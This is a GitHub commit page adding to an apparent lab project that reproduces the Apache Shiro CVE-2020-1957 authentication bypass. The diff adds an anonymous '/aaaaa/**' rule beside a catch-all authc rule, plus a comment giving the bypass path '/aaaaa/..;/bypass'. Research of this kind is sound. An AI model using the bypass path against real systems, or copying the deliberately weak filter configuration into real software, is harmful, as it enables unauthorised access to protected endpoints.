Skip to content

Commit 94979ad

Browse files
author
“threedr3am”
committed
feat:apache shiro CVE-2020-1957的实际生产环境bypass例子
1 parent b90bf78 commit 94979ad

File tree

2 files changed

+5
-0
lines changed

2 files changed

+5
-0
lines changed

shiro/auth-bypass(shiro<1.5.2)/src/main/java/com/threedr3am/bug/shiro/bypass/auth/config/ShiroConfig.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,9 +35,11 @@ ShiroFilterFactoryBean shiroFilterFactoryBean() {
3535
bean.setUnauthorizedUrl("/unauthorizedurl");
3636
Map<String, String> map = new LinkedHashMap();
3737
map.put("/login", "anon");
38+
map.put("/aaaaa/**", "anon");
3839
map.put("/bypass", "authc");
3940
map.put("/bypass.*", "authc");
4041
map.put("/bypass/**", "authc");
42+
map.put("/**", "authc");
4143
bean.setFilterChainDefinitionMap(map);
4244
return bean;
4345
}

shiro/auth-bypass(shiro<1.5.2)/src/main/java/com/threedr3am/bug/shiro/bypass/auth/controller/BypassTestController.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,9 @@
1515
* todo /aaaaa/..;/bypass -> bypass -> ("/bypass", "authc")、("/bypass.*", "authc")、("/bypass/**", "authc") (shiro <= 1.5.1)
1616
* todo /bypass.xxxxx -> bypass -> ("/bypass", "authc")、("/bypass/**", "authc") (shiro all version)
1717
*
18+
* 有人说,实际开发不会这样配置,都是通过最后加一个("/**", "authc")全范围匹配,然而,实际上会存在某些放过的接口,例如/aaaaa/**,就能利用它进行bypass
19+
* todo /aaaaa/..;/bypass 利用存在("/aaaaa/**", "anon")去bypass ("/**", "authc")
20+
*
1821
* @author threedr3am
1922
*/
2023
@RestController

0 commit comments

Comments
 (0)